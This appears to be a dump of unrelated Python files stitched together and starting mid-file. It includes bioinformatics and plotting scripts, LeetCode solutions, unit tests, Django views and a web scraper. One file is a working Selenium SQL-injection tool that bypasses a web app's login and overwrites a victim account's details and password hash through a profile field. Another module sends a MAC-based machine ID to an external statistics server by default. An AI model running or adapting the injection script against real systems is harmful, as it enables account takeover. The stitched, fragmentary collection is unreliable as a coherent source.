            "deadAttackers": [u.toDict() for u in self.deadAttackers],
            "deadDefenders": [u.toDict() for u in self.deadDefenders]
        }


#!/home/hannes/.local/share/miniconda/envs/bioinfo/bin/python3.8

################################################################################
# Author: Hannes Meinert                                                       #
# Created: 08.12.2020                                                          #
# Last Modified: 14.12.2020                                                    #
################################################################################

############################## Tasks ###########################################
# 1. enable for .xml

############################## Import Modules ##################################
import argparse
import re

############################## Initialize Argparse #############################
parser = argparse.ArgumentParser(
        description="This script fetches sequences from a database file in "
                   + "fasta format. Therefore a tab separated input file is "
                   + "require with the accession number at the second position."
                   )
parser.add_argument('-i', '--input', required=True,
                    help="file with accession numbers")
parser.add_argument('-t', '--type', required=True,
                    help="dmnd: output from diamond search, tsv file with "
                        + "acc num at second position;; "
                        + "hmmer: modified output from hmmer, one acc num "
                        + "per line")
parser.add_argument('-d', '--db', required=True,
                    help="fasta file containing all sequences in the database")
parser.add_argument('-o', '--output', required=True,
                    help="name that is used for the output file in .fa format")
args = parser.parse_args()

############################## Process Data ####################################
# extract accession numbers from input file
acc_lst = []
data_dict = {}
if args.type == 'dmnd':
    with open(args.input, 'r') as in_file:
        for line in in_file:
            line = line.strip()
            p_lst = re.split('\t',line)
            acc_lst.append(p_lst[1])
elif args.type == 'hmmer':
    with open(args.input, 'r') as in_file:
        for line in in_file:
            line = line.strip()
            acc_lst.append(line)
else:
    print("The specified type is either not supported or does not exits.\n"
          + "See help for more information.")
    quit(1)
print("Accession numbers scanned.")

# extract sequences from database
total_seq = len(acc_lst)
count = 0
hit = ''
hit_check = False
with open(args.db, 'r') as db_file:
    for line in db_file:
        line = line.strip()
        if re.search('^>', line):
            if hit_check:
                print(str(count) + " of " + str(total_seq) + " fetched")
                hit_check = False
                data_dict[header] = hit
                hit = ''
            # quit when all sequences are fetched
            if count == total_seq:
                print('quit')
                break
            acc = re.split('\s', line)
            acc = acc[0]
            acc = acc.strip('>')
            for acc_num in acc_lst:
                if acc_num == acc:
                    count += 1
                    hit_check = True
                    header = line
                    break
        elif re.search(r'^[A-Z]', line) and hit_check:
            hit += line
print("Fetching sequences finished.")

############################## Generate Output File ############################
with open(args.output, 'w') as out_file:
    for header in data_dict.keys():
        out_file.write(header + '\n' + data_dict[header] + '\n')


from random import uniform
from math import sqrt
from turtle import *
from time import time

title('Monte Carlo Pi')
setup(width = 640, height = 480)
bgcolor('black')
penup()
hideturtle()
speed(0)

def make_dot(dot_color):
    goto(round(x * 100 - 100), round(y * 100 - 100))
    dot(3, dot_color)

a = b = 1 #circle centre
circ = square = 0

start = time()
for i in range(1, 10001):
    x = uniform(0, 2)
    y = uniform(0, 2)
    r = sqrt((x - a)**2 + (y - b)**2)
    if r <= 1:
        circ += 1
        make_dot('red')
    else:
        square += 1
        make_dot('yellow')
    print('[{}] {}'. format(i, 4*circ/(circ+square)))
end = time()
timer = end - start
print('czas:', timer, 'sekund')
done()


from abc import ABC, abstractmethod
from queue import Empty
from queue import Queue
from threading import Thread

from app.process_module.base.stage import *
from app.process_module.base.stage import StageDataStatus

class BaseModule(ABC):
    def __init__(self, skippable=True, queueSize=50):
        self.worker_thread = None
        self.running = False
        self.skippable = skippable
        self.ignore_stage_data = StageData(stage_node=None, data_status=StageDataStatus.STAGE_DATA_ABSTRACT)
        self.queue = Queue(maxsize=queueSize)
        print(f'created: {self}')

    @abstractmethod
    def process_data(self, data):
        pass

    @abstractmethod
    def pre_run(self):
        """
        执行前准备工作
        """
        self.running = True

    def close(self):
        """
        结束运行
        """
        # print(f'closing: {self}')
        self.running = False
        self.queue.queue.clear()
        self.queue = None

    def _run(self):
        """
        核心执行程序。
        pre_run():进行准备，开启资源等
        product_stage_data():从队列中取出资源
        stage_node.to_next_stage(stage_data):把数据传到下一个模块
        pre_close():结束执行前清理资源
        """
        self.running = True
        self.pre_run()
        while True:
            if not self.running:
                print("close module:", self)
                break
            # print("_run:", self)

            data = self.product_stage_data()

            execute_condition = (data.stage_flag == StageDataStatus.STAGE_DATA_OK) or \
                                (data.stage_flag == StageDataStatus.STAGE_DATA_SKIP and not self.skippable)

            execute_result = self.process_data(data.data) if execute_condition else data.stage_flag
            stage_node = data.stage_node
            if execute_result == StageDataStatus.STAGE_DATA_SKIP:
                data.stage_flag = StageDataStatus.STAGE_DATA_SKIP

            if execute_result == StageDataStatus.STAGE_DATA_ABSTRACT:
                continue
            elif execute_result == StageDataStatus.STAGE_DATA_CLOSE:
                data.stage_flag = StageDataStatus.STAGE_DATA_CLOSE
                self.close()
            elif stage_node.next_stage is not None:
                stage_node.to_next_stage(data)

    def start(self):
        print("run:", self)
        p = Thread(target=self._run, args=())
        p.start()
        self.worker_thread = p
        return p

    def put_stage_data(self, stage_data):
        if self.queue is None:
            return

        self.queue.put(stage_data)

    def product_stage_data(self):
        try:
            stage_data = self.queue.get(block=True, timeout=1)
            return stage_data
        except Empty:
            return self.ignore_stage_data


"""
Problem Link: https://leetcode.com/problems/pascals-triangle-ii/

Given a non-negative index k where k ≤ 33, return the kth index row of the Pascal's triangle.
Note that the row index starts from 0.
In Pascal's triangle, each number is the sum of the two numbers directly above it.

Example:
Input: 3
Output: [1,3,3,1]

Follow up:
Could you optimize your algorithm to use only O(k) extra space?
"""
class Solution:
    def getRow(self, rowIndex: int) -> List[int]:
        rowIndex += 1
        res = [0] * rowIndex
        res[0] = 1
        for i in range(1, rowIndex):
            for j in range(i, 0, -1):
                res[j] += res[j-1]
        return res


import csv

from PIL import Image, ImageDraw, ImageFont

def wrap_text(words, font, max_width):
    lines = []
    current_line = ""

    for word in words:
        if not current_line:
            temp_line = word
        else:
            temp_line = " ".join([current_line, word])
        width = font.getbbox(temp_line)[2]  # x,y,x,y
        if width >= max_width:
            lines.append(current_line)
            current_line = word
        else:
            current_line = temp_line

    lines.append(current_line)

    # lines
    return lines

def generate_bounding_boxes(canvas, font, coordinate, line, space_right):
    bboxes = []

    l_left, l_top, l_right, l_bottom = canvas.textbbox(coordinate, line, font=font, anchor="ra")

    x = l_left

    for word in line.split(" "):
        w_left, w_top, w_right, w_bottom = font.getbbox(word)
        bboxes.append((word, (w_left + x, l_top, w_right + x, l_bottom)))

        x += w_right + space_right
    return bboxes

def main():
    image = Image.new("RGB", (1080, 920), (100, 200, 150))
    canvas = ImageDraw.Draw(image)
    font = ImageFont.truetype("Raleway-VariableFont_wght.ttf", size=90)

    _, _, space_right, _ = font.getbbox(" ")

    text = "Python is a programming language that lets you work quickly and integrate systems more effectively."
    lines = wrap_text(text.split(" "), font, image.width * 0.8)

    y = 100
    x = image.width - (image.width * 0.1)

    ascender, descender = font.getmetrics()

    bboxes = []
    for line in lines:
        canvas.text((x, y), line, font=font, fill="white", anchor="ra")
        bboxes += generate_bounding_boxes(canvas, font, (x, y), line, space_right)

        y += ascender + descender

    image.save("image-without-bboxes.png")

    for word, bbox in bboxes:
        canvas.rectangle(bbox, outline="pink")

    image.save("image-with-bboxes.png")

    save_bboxes(bboxes)

def save_bboxes(bboxes):
    with open("text-bboxes.csv", "w") as text:
        writer = csv.writer(text)
        writer.writerow(["word", "coordinates"])
        for word, bbox in bboxes:
            writer.writerow([word, ",".join([str(p) for p in bbox])])

if __name__ == '__main__':
    main()


def solution(a, b):
    val_1 = int(str(a) + str(b))
    val_2 = int(str(b) + str(a))

    if val_1 > val_2:
        answer = val_1
    else:
        answer = val_2

    return answer

프로그래머스/unrated/181939. 더 크게 합치기/더 크게 합치기.py


import unittest
import mock

from gofer import collation
from gofer import inspection

THIS_SHOULD_BE_IGNORED = ''

def fn1(name, age):
    pass

def fn2():
    pass

class Person(object):
    name = ''
    age = 0

    def __init__(self, parent=None):
        self.parent = parent

    def walk(self, speed=10):
        pass

    def run(self):
        pass

class Zebra(object):

    def run(self):
        pass

class TestCollator(unittest.TestCase):

    def test_collate(self):
        options = {'A': 1}
        mod = inspection.module(fn1)
        functions = inspection.functions(mod)
        functions.extend(inspection.methods(Person))
        functions = {f[1]: options for f in functions}
        collator = collation.Collator()
        classes, functions = collator(functions)
        self.assertEqual(
            classes,
            [
                collation.Class(
                    Person, methods={
                        m.name: m for m in [
                            collation.Method(Person.walk),
                            collation.Method(Person.run)
                        ]})
            ])
        self.assertEqual(
            functions,
            [
                collation.Module(
                    mod, functions={
                        f.name: f for f in [
                            collation.Function(fn1),
                            collation.Method(fn2)
                        ]})
            ])

class TestModule(unittest.TestCase):

    def test_init(self):
        impl = inspection.module(fn1)
        mod = collation.Module(impl)
        self.assertEqual(mod.name, impl.__name__)
        self.assertEqual(mod.impl, impl)

    def test_operators(self):
        impl = inspection.module(fn1)
        mod = collation.Module(impl)
        # iadd
        fn = collation.Function(fn1)
        mod += fn
        self.assertEqual(list(mod.functions.values())[0], fn)
        # hash
        self.assertEqual(
            hash(mod),
            hash(impl.__name__))
        # index
        self.assertEqual(
            mod['fn1'],
            fn)
        # eq
        self.assertEqual(
            collation.Module(impl),
            collation.Module(impl))
        # neq
        self.assertNotEqual(
            collation.Module(impl),
            collation.Module(mock.Mock(__name__='')))
        # iter
        self.assertEqual(
            list(mod.functions.values()),
            list(mod))

class TestClass(unittest.TestCase):

    def test_init(self):
        impl = Person
        cls = collation.Class(impl)
        self.assertEqual(cls.name, impl.__name__)
        self.assertEqual(cls.impl, impl)

    def test_operators(self):
        impl = Person
        cls = collation.Class(impl)
        # iadd
        method = collation.Method(impl.walk)
        cls += method
        self.assertEqual(list(cls.methods.values())[0], method)
        # hash
        self.assertEqual(
            hash(cls),
            hash(impl.__name__))
        # index
        self.assertEqual(
            cls['walk'],
            method)
        # eq
        self.assertEqual(
            collation.Class(impl),
            collation.Class(impl))
        # lt
        self.assertLess(
            collation.Class(impl),
            collation.Class(Zebra))
        # neq
        self.assertNotEqual(
            collation.Class(impl),
            collation.Class(mock.Mock(__name__='')))
        # iter
        self.assertEqual(
            list(cls.methods.values()),
            list(cls))

class TestFunction(unittest.TestCase):

    def test_function(self):
        fn = collation.Function(fn1)
        self.assertEqual(fn.impl, fn1)
        self.assertEqual(fn.name, fn1.__name__)
        self.assertEqual(fn, collation.Function(fn1))
        self.assertNotEqual(fn, collation.Function(fn2))
        self.assertLess(fn, collation.Function(fn2))
        self.assertEqual(hash(fn1), hash(fn))

    def test_signature(self):
        fn = collation.Function(fn1)
        self.assertEqual('(name, age)', fn.signature)

class TestMethod(unittest.TestCase):

    def test_method(self):
        method = collation.Method(Person.walk)
        self.assertEqual(method.impl, Person.walk)
        self.assertEqual(method.name, Person.walk.__name__)
        self.assertEqual(method, collation.Method(Person.walk))
        self.assertNotEqual(method, collation.Method(Person.run))
        self.assertLess(collation.Method(Person.run), method)
        self.assertEqual(hash(method), hash(Person.walk))

    def test_signature(self):
        method = collation.Method(Person.walk)
        self.assertEqual('(self, speed=10)', method.signature)


class Solution:
    def lengthOfLastWord(self, s: str) -> int:
        num = 0
        max = 0
        for n in s:
            if n != " ":
                num += 1
                max = num
            if n == " ":
                num = 0
        return max

print(Solution.lengthOfLastWord(1, "hello    w"))


import numpy as np
import matplotlib.pyplot as plt
from ..evaluation.metrics import one_vs_rest_roc_curve
from roc_analysis import plot_roc_curve

def plot_intersections(ax, intersections):
    ax.scatter(intersections[:,0], intersections[:,1])

def get_slope(line):
    return (line[3]-line[1])/(line[2]-line[0])

def get_slopes(lines):
    return [get_slope(line) for line in lines]

def find_first_segment(lines):
    left_min = lines[0]
    index = 0
    for i, line in enumerate(lines):
        if all(line[[0,1]] == left_min[[0,1]]):
            slope_min = get_slope(left_min)
            slope_2 = get_slope(line)
            if slope_2 < slope_min:
                left_min = line
                index = i
        elif all(line[[0,1]] <= left_min[[0,1]]):
            left_min = line
            index = i
    return index
#
# line segment intersection using vectors
# see Computer Graphics by F.S. Hill
#
from numpy import *
def perp( a ) :
    b = empty_like(a)
    b[0] = -a[1]
    b[1] = a[0]
    return b

# line segment a given by endpoints a1, a2
# line segment b given by endpoints b1, b2
def seg_intersect(a1,a2, b1,b2) :
    da = a2-a1
    db = b2-b1
    dp = a1-b1
    dap = perp(da)
    denom = dot( dap, db)
    num = dot( dap, dp )
    return (num / denom.astype(float))*db + b1

def find_all_intersections(line1, lines):
    intersections = np.empty((lines.shape[0], 2))
    for i, line in enumerate(lines):
        intersections[i] = seg_intersect(line1[[0,1]], line1[[2,3]],
                                         line[[0,1]], line[[2,3]])
    return intersections

def find_smallest_point_intersection(line1, lines, right_of=0):
    intersections = find_all_intersections(line1, lines)
    left_min = line1
    index = 0
    for i, line in enumerate(lines):
        if right_of <= intersections[i,0]:
            slope_min = get_slope(left_min)
            slope_2 = get_slope(line)
            if slope_2 < slope_min:
                left_min = line
                index = i

    return intersections[index], left_min

def plot_lower_envelope(lines, ax, show_segments=False):
# First segment of the line:
    lower_envelope = []
    lower_envelope.append([0,0])
    index = find_first_segment(lines)
    current_line = lines[index]
    if show_segments:
        ax.plot(current_line[[0,2]].T, current_line[[1,3]].T, 'k--')
    left_point = current_line[[0,1]]

    intersections = find_all_intersections(current_line, lines)
    if show_segments:
        plot_intersections(ax, intersections)

    indices = np.argsort(intersections, axis=0)[:,0]
    next_index = indices[0]
    next_line = lines[next_index]
    intersection = intersections[next_index]
    if show_segments:
        ax.plot(next_line[[0,2]].T, next_line[[1,3]].T, 'k--')

    lower_envelope.append(intersection)
    while next_line[3] != 0:
        current_line = next_line
        next_intersection = intersections[next_index]
        left_point = next_intersection[0]

        intersections = find_all_intersections(current_line, lines)
        if show_segments:
            plot_intersections(ax, intersections)
        indices = np.argsort(intersections, axis=0)[:,0]
        found = False
        i = 0
        while not found:
            next_intersection = intersections[indices[i],:]
            if next_intersection[0] > left_point:
                found = True
            else:
                i+=1
        indices = np.where(np.logical_and(intersections[:,0] == next_intersection[0], intersections[:,1] == next_intersection[1]))
        next_index = indices[0].max()
        next_line = lines[next_index]
        if show_segments:
            ax.plot(next_line[[0,2]].T, next_line[[1,3]].T, 'k--')
        next_intersection = intersections[next_index]
        lower_envelope.append(next_intersection)

    lower_envelope.append([1,0])
    lower_envelope = np.array(lower_envelope)
    ax.plot(lower_envelope[:,0], lower_envelope[:,1], 'ro-')
    ax.set_xlim([0,1])
    ax.set_ylim([0,1])

    return lower_envelope

def skew_lines(fpr, tpr):
    Q_min = fpr
    Q_max = 1-tpr
    lines = np.vstack([np.vstack((np.zeros_like(Q_min), Q_min)),
                       np.vstack((np.ones_like(Q_max), Q_max))]).T
    return lines

def plot_skew_lines(y, scores, pos_label=0, lower_envelope=False, fig=None,
                    title=None):
    if fig is None:
        fig = plt.figure('skew_lines')
    fig.clf()

    roc = one_vs_rest_roc_curve(y,scores,pos_label)
    ax = fig.add_subplot(111)
    lines = skew_lines(roc[0], roc[1])
    ax.plot(lines[:,[0,2]].T, lines[:,[1,3]].T, '--', c='0.6')
    ax.set_xlabel('skew')
    ax.set_ylabel('$Q_{skew}$')
    if title is not None:
        ax.set_title(title)
    if lower_envelope:
        plot_lower_envelope(lines, ax)

    return fig


from django.urls import path
from user import views

# Creating reverse proxy "user:create"
app_name = "user"

urlpatterns = [
    path("create/", views.CreateUserView.as_view(), name="create"),
    path("token/", views.CreateTokenView.as_view(), name="token"),
    path("update/", views.ManagerView.as_view(), name="update"),
]


import json
import os

from celery.result import AsyncResult
from django.conf import settings
from django.http import JsonResponse, HttpResponseBadRequest, HttpResponseNotAllowed, HttpResponse, HttpRequest
from django.shortcuts import render
from django.views.decorators.csrf import csrf_exempt

from api import models
from tasks import code_editor, task_check
from tasks.sample_tasks import create_task

def home(request: HttpRequest) -> HttpResponse:
    return render(request, 'home.html')

@csrf_exempt
def run_task(request: HttpRequest) -> HttpResponse:
    if request.method != 'POST':
        return HttpResponseNotAllowed(['POST'])

    try:
        task_type = int(json.loads(request.body).get('type'))
    except ValueError:
        return HttpResponseBadRequest()

    result = {
        'task_id': create_task.delay(task_type).id,
    }

    return JsonResponse(result, status=202)

@csrf_exempt
def start_editor(request: HttpRequest, user_id: int) -> HttpResponse:
    if request.method != 'POST':
        return HttpResponseNotAllowed(['POST'])

    try:
        models.User.objects.get(id=user_id)
    except models.User.DoesNotExist:
        return HttpResponseBadRequest()

    result = {
        'task_id': code_editor.start.delay(user_id).id,
    }

    return JsonResponse(result, status=202)

@csrf_exempt
def stop_editor(request: HttpRequest, user_id: int) -> HttpResponse:
    if request.method != 'POST':
        return HttpResponseNotAllowed(['POST'])

    try:
        models.User.objects.get(id=user_id)
    except models.User.DoesNotExist:
        return HttpResponseBadRequest()

    result = {
        'task_id': code_editor.stop.delay(user_id).id,
    }

    return JsonResponse(result, status=202)

@csrf_exempt
def editor_status(request: HttpRequest, user_id: int) -> HttpResponse:
    try:
        user = models.User.objects.get(id=user_id)
    except models.User.DoesNotExist:
        return HttpResponseBadRequest()

    result = {
        'status': code_editor.status(user_id),
        'port': user.editor_port,
    }

    return JsonResponse(result, status=202)

@csrf_exempt
def verify_task(request: HttpRequest, user_id: int, task_id: int, language_id: int) -> HttpResponse:
    try:
        models.User.objects.get(id=user_id)
    except models.User.DoesNotExist:
        return HttpResponseBadRequest()

    try:
        models.Task.objects.get(id=task_id)
    except models.Task.DoesNotExist:
        return HttpResponseBadRequest()

    try:
        models.Language.objects.get(id=language_id)
    except models.Language.DoesNotExist:
        return HttpResponseBadRequest()

    result = {
        'task_id': task_check.verify.delay(user_id, task_id, language_id).id,
    }

    return JsonResponse(result, status=202)

@csrf_exempt
def get_status(request: HttpRequest, task_id: str) -> HttpResponse:
    task_result = AsyncResult(task_id)

    result = {
        'task_id': task_id,
        'task_status': task_result.status,
        'task_result': task_result.result,
    }

    return JsonResponse(result, status=200)


# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, x):
#         self.val = x
#         self.left = None
#         self.right = None

class Solution:
    def rightSideView(self, root):
        """
        :type root: TreeNode
        :rtype: List[int]
        """

        def helper(node, depth):
            if not node:
                return

            if depth == len(right_view):
                right_view.append(node.val)
            helper(node.right, depth + 1)
            helper(node.left, depth + 1)

        right_view = []
        helper(root, 0)
        return right_view


from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import hashlib
def get_initialise_driver():
	driver = webdriver.Chrome()
	driver.get("http://host:8080/")
	if "Login" in driver.title:
		return driver
	else:
		print("An error has occured while trying to reach the login page!")

def account_login_attack():
	username = input("Please input the account username to login as: ")
	driver = get_initialise_driver()
	driver = account_login(driver,username)
	if "Desktop" in driver.title:
		print("Attack Complete!")
	else:
		print("Attack Failed, invalid username?")

def account_login(driver, user):
	username_field = driver.find_element_by_name("username")
	username_field.clear()
	username_field.send_keys(user+"')#")
	username_field.send_keys(Keys.RETURN)
	return driver

def account_mod_attack():
	perp_username = input("Please input the account username perpetrate the attack: ")
	vict_username = input("Please input the victims username: ")
	attack_string = account_mod_attack_build_attack_string(vict_username)
	#print(attack_string)
	driver = get_initialise_driver()
	driver = account_login(driver,perp_username)
	if "Desktop" not in driver.title:
		print("Attack Failed, invalid perpetrator username?")
		return

	account_link = driver.find_element_by_xpath("//a[@href='manageuser.php?action=profile&id=5']")
	account_link.click()
	account_link = driver.find_element_by_xpath('//*[@id="contentwrapper"]/div[1]/ul/li[2]/a')
	account_link.click()

	company_field = driver.find_element_by_name("company")
	company_field.send_keys(attack_string)

	submit_link = driver.find_element_by_xpath('//*[@id="content-left-in"]/div/div[1]/form/fieldset/table/tbody/tr/td[2]/div/div/table/tbody[21]/tr/td[2]/button')
	submit_link.click()

def account_mod_attack_build_attack_string(victim_user):
	attack_string = "'"
	new_user = input("New Victim Name: ")or victim_user
	attack_string= attack_string + account_mod_attack_key_value_pair("name",new_user)
	new_company = input("New Victim Company: ")
	attack_string= attack_string + account_mod_attack_key_value_pair("company",new_company)
	new_email = input("New Victim E-Mail: ")
	attack_string= attack_string + account_mod_attack_key_value_pair("email",new_email)
	new_phone = input("New Victim Phone: ")
	attack_string= attack_string + account_mod_attack_key_value_pair("tel1",new_phone)
	new_cell = input("New Victim Cell Phone: ")
	attack_string= attack_string + account_mod_attack_key_value_pair("tel2",new_cell)

	new_url = input("New Victim URL: ")
	attack_string= attack_string + account_mod_attack_key_value_pair("url",new_url)
	new_addr = input("New Victim Address: ")
	attack_string= attack_string + account_mod_attack_key_value_pair("adress",new_addr)
	new_postcode = input("New Victim Postcode: ")
	attack_string= attack_string + account_mod_attack_key_value_pair("zip",new_postcode)
	new_city = input("New Victim City: ")
	attack_string= attack_string + account_mod_attack_key_value_pair("adress2",new_city)
	new_country = input("New Victim Country: ")
	attack_string= attack_string + account_mod_attack_key_value_pair("country",new_country)
	new_state = input("New Victim State: ")
	attack_string= attack_string + account_mod_attack_key_value_pair("state",new_state)

	new_gender = input("New Victim Gender (m/f): ")
	attack_string= attack_string + account_mod_attack_key_value_pair("gender",new_gender)
	new_locale = input("New Victim Locale (al,ar,ca,cs,da,de,el,en,es,fa,fi,fr,hr,hu,it,ja,lt,nb,nl,pl,pt,pt_br,ro,ru,se,sk,sl,sr,tr,uk,zh): ")
	attack_string= attack_string + account_mod_attack_key_value_pair("locale",new_locale)

	hourly_rate = input("New Victim Hourly Rate: ")
	attack_string= attack_string + account_mod_attack_key_value_pair("rate",hourly_rate)

	new_pass = input("New Victim Password: ")
	attack_string= attack_string + account_mod_attack_key_value_pair("pass",str(hashlib.sha1(new_pass.encode()).hexdigest()))

	attack_string = attack_string + " WHERE name = '"+victim_user+"' # "
	return attack_string

def account_mod_attack_key_value_pair(key,value):
	if (value):
		return ","+key+"='"+value+"'"
	return ""

attack_method = int(input("Please selected an attack: Account Login (1) or Account Modification (2): "))

if (attack_method ==1):
	account_login_attack()
elif (attack_method == 2):
	account_mod_attack()
result = input("When finished please press enter to close the browser: ")
try:
	driver.close()
except:
	print("Error when closing driver, did you already close it?")


from ..models.jags.jag import Jag

def handle_location_update(jag_instance: Jag, data):
    # only handles area based get-in-range
    if 'area' not in jag_instance.inputs:
        return

    area_id = jag_instance.inputs.get('area')

    if 'locations' not in data:
        return

    for location in data['locations']:
        if location['id'] != area_id:
            continue

        player_id = data['participant_id']
        elapsed_ms = data['elapsed_milliseconds']
        if elapsed_ms < 0.0:  # ignore negative times, they should only happen after the trial has ended
            return

        jag_instance.update_addressing(player_id, player_id, 1.0, elapsed_ms)
        jag_instance.update_addressing(player_id, player_id, 0.0, elapsed_ms)
        jag_instance.update_completion_status(player_id, True, elapsed_ms)
        break

def handle_proximity(jag_instance: Jag, data):
    print(f"get-in-range::handle_proximity {jag_instance.short_string()}")  # {data}")
    victim_id = data['victim_id']
    if victim_id != jag_instance.inputs.get('victim-id'):
        return

    player_id = data['participant_id']
    elapsed_ms = data['elapsed_milliseconds']
    players_in_range = data['players_in_range']
    if victim_id != -1:
        if players_in_range > 0:
            jag_instance.update_addressing(player_id, player_id, 1.0, elapsed_ms)
            jag_instance.update_addressing(player_id, player_id, 0.0, elapsed_ms)
            jag_instance.update_completion_status(player_id, True, elapsed_ms)


#!/usr/bin/env python3
import numpy as np
from scipy.optimize import minimize
import random
import matplotlib.pyplot as plt
import time
import argparse
from scipy.linalg import inv
from numpy import linalg as LA
import time

import math
from scipy.sparse.linalg import svds

import os
import sys

# sys.path.append('fluidity-master')

# time steps
# ntime = 989
global ntime
""" Load the background state data from npz file """

def load_data(path):
    print("Loading data...")
    # xTot = np.loadtxt("../data/txt_data/background_state.txt")
    try:
        npzfile = np.load(path)
    except:
        print("Background state file not found. Please run convert_vtu.py")
        return
    xTot = npzfile['x']
    print("Shape of input data is ", xTot.shape)
    return xTot

"""BELOW IS FOR ENSEMBLE METHODS"""
"""get the background errors using ensemble"""

def ensemble_method(xTot, ensemble_size):
    t = time.time()
    print("Getting background error via ensemble...")
    ensemble = np.zeros([xTot.shape[1], ensemble_size])
    split_index = 0
    np.random.seed(7)
    # Split the data into groups to perform sampling
    for split in np.array_split(xTot, ensemble_size, axis=0):
        #  Get mean and std for sampling
        mean = np.mean(split, axis=0)
        std = np.std(split, axis=0)
        samples = np.zeros(mean.shape[0])
        for i in range(mean.shape[0]):
            samples[i] = np.random.normal(mean[i], std[i], 1)  # Sample for each feature
        ensemble[:, split_index] = samples
        split_index += 1
    ensemble_mean = np.expand_dims(np.mean(ensemble, axis=1), axis=1)  # Get ensemble mean
    Vens = (1 / math.sqrt(ensemble_size - 1)) * (ensemble - ensemble_mean)  # Get ensemble errors given by formula
    elapsed = time.time() - t
    print("Time taken for ensemble method " + str(elapsed))
    print("Ensemble is ", Vens.shape)
    return Vens

'''BELOW IS TSVD FORM OF SQUARE ROOT OF ERROR COVARIANCE'''

def tsvd_method(xTot, trnc):
    t = time.time()
    print("Getting background error via TSVD")
    err = np.absolute(xTot - np.mean(xTot, axis=0))
    print("err shape is ", err.shape)
    n = err.shape[1]

    V = np.transpose(err)  # V has the shape n x ntime

    Utrunc, strunc, Wtrunc = svds(V, k=trnc)
    Vtsvd = Utrunc.dot(np.diag(np.sqrt(strunc)))
    elapsed = time.time() - t
    print("Time taken for tsvd method is " + str(elapsed))
    print("V is ", V.shape)
    print("U is ", Utrunc.shape)
    print("s is ", strunc.shape)
    print("WT is ", Wtrunc.shape)
    print("U dot s is ", Vtsvd.shape)
    return Vtsvd

def save_covariance_matrices(V=None, Vens=None, ntime=494, trnc=145, ensemble_size=50, name=''):
    if not os.path.exists("../data/matrix_prec_" + str(ntime)):
        os.mkdir("../data/matrix_prec_" + str(ntime))
    print("Saving preconditioned background error covariances...")
    if V is not None:
        np.savez_compressed("../data/matrix_prec_" + str(ntime) + "/matrixVprec" + str(trnc) + name + ".npz", V=V)
    if Vens is not None:
        np.savez_compressed(
            "../data/matrix_prec_" + str(ntime) + "/matrixVensembleSplit" + str(ensemble_size) + name + ".npz", V=Vens)

def arg_parser():
    parser = argparse.ArgumentParser(description='Precondition Background Error Covariance Matrices')
    parser.add_argument('-fp',
                        '--filepath',
                        default="../data/converted_data/background_state.npz",
                        help='provide file path for background state data'
                        )
    parser.add_argument('-trnc',
                        default=145,
                        help='provide truncation parameter for tsvd'
                        )
    parser.add_argument('-ens_size',
                        default=40,
                        help='provide ensemble size'
                        )
    parser.add_argument('-ntime',
                        default=494,
                        help='number of time steps'
                        )
    parser.add_argument('-tsvd', action='store_true')
    parser.add_argument('-ens', action='store_true')
    args = parser.parse_args()
    return args

if __name__ == '__main__':
    args = arg_parser()
    filepath = args.filepath
    trnc = int(args.trnc)
    ensemble_size = int(args.ens_size)

    ntime = args.ntime

    xTot = load_data(filepath)
    Vtsvd = None
    Vens = None

    if args.tsvd and not args.ens:
        Vtsvd = tsvd_method(xTot, trnc)
    elif args.ens and not args.tsvd:
        Vens = ensemble_method(xTot, ensemble_size)
    else:
        Vtsvd = tsvd_method(xTot, trnc)
        Vens = ensemble_method(xTot, ensemble_size)

    name = os.path.basename(filepath).replace("background_", '').replace(".npz", '')

    save_covariance_matrices(Vtsvd, Vens, ntime, trnc, ensemble_size, name)


from pydantic import BaseModel
from typing import Optional
from enum import Enum

class Purchase(str, Enum):
    standard = 'standard'
    premium = 'premium'

class SinglePurchase(BaseModel):
    id: Optional[str] = None
    userId: str
    username: str
    purchase: str
    type: str
    price: float

class Period(str, Enum):
    monthly = 'monthly'
    biannual = "biannual"
    annual = "annual"

class PlansIn(BaseModel):
    type: Purchase
    period: Period

class PlansOut(BaseModel):
    userId: str
    username: str
    planType: str
    period: str
    price: float

if __name__ == "__main__":
    ...


from tkinter import*

def scrivi(evento):
    x = lista.curselection()[0]
    print(lista.get(x))

f = Tk()

f.title("Finestra")
f.geometry("400x500")
f.configure(bg = "#589cf1")

lista = Listbox(f)
lista.pack()
lista.insert(END,"uno","due","tre")
lista.insert(0, "inizio")
lista.delete(3,4)
lista.bind("<ButtonRelease-1>", scrivi)

f.mainloop()


# -*- coding: utf -8-*-

from . import config
import uuid
import requests
import threading

def getUUID():
    mac = uuid.UUID(int=uuid.getnode()).hex[-12:]
    return ":".join([mac[e : e + 2] for e in range(0, 11, 2)])

def report(t):
    ReportThread(t).start()

class ReportThread(threading.Thread):
    def __init__(self, t):
        # 需要执行父类的初始化方法
        threading.Thread.__init__(self)
        self.t = t

    def run(self):
        to_report = config.get("statistic", True)
        if to_report:
            try:
                persona = config.get("robot_name_cn", "孙悟空")
                url = "http://livecv.hahack.com:8022/statistic"
                payload = {
                    "type": str(self.t),
                    "uuid": getUUID(),
                    "name": persona,
                    "project": "wukong",
                }
                requests.post(url, data=payload, timeout=3)
            except Exception:
                return


# 21/10/15 quiz

score = int(input("enter the score : "))
if score < 60:
    grade = "F"
elif score == 100:
    grade = "A+"
else:
    grade = chr(74 - score // 10) + "+"*(score % 10 not in range(5))
print("your grade is", grade)


from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from bs4 import BeautifulSoup
import pandas as pd
import time
import random

options = Options()
options.add_argument("--headless")
header = {"user-agent" : "Mozilla/5.0"}
driver = webdriver.Chrome(executable_path=r"D:\tool\chrome_apps\chromedriver.exe", options=options)
url_base = "http://www.jjwxc.net/topten.php?orderstr={}&t={}"
for i in [0,1,2]:#种类分类
    for j in range(3, 23):#榜单分类
        url_now = url_base.format(j, i)
        data_lst = []
        time.sleep(random.random())
        driver.get(url_now)
        r = driver.page_source
        soup = BeautifulSoup(r)
        if len(soup.find_all("tbody")) < 4:
            print()
            continue
        infos = soup.find_all("tbody")[2]
        #print(infos)
        books = infos.find_all("tr")[1:]#每一本书
        #print(infos.find_all("tr")[0])
        book_info_lst = []
        print(len(books))
        for book in books:
            one_book_info = {}
            one_book_infos = book.find_all("td")
            if len(one_book_infos) < 9:
                print("出现问题，跳过")
                continue
            one_book_info["rank"] = one_book_infos[0].text
            one_book_info["author"] = one_book_infos[1].text.strip("\xa0\n")
            one_book_info["title"] = one_book_infos[2].find("a")["title"]
            one_book_info["class"] = one_book_infos[3].text.strip(" \n")
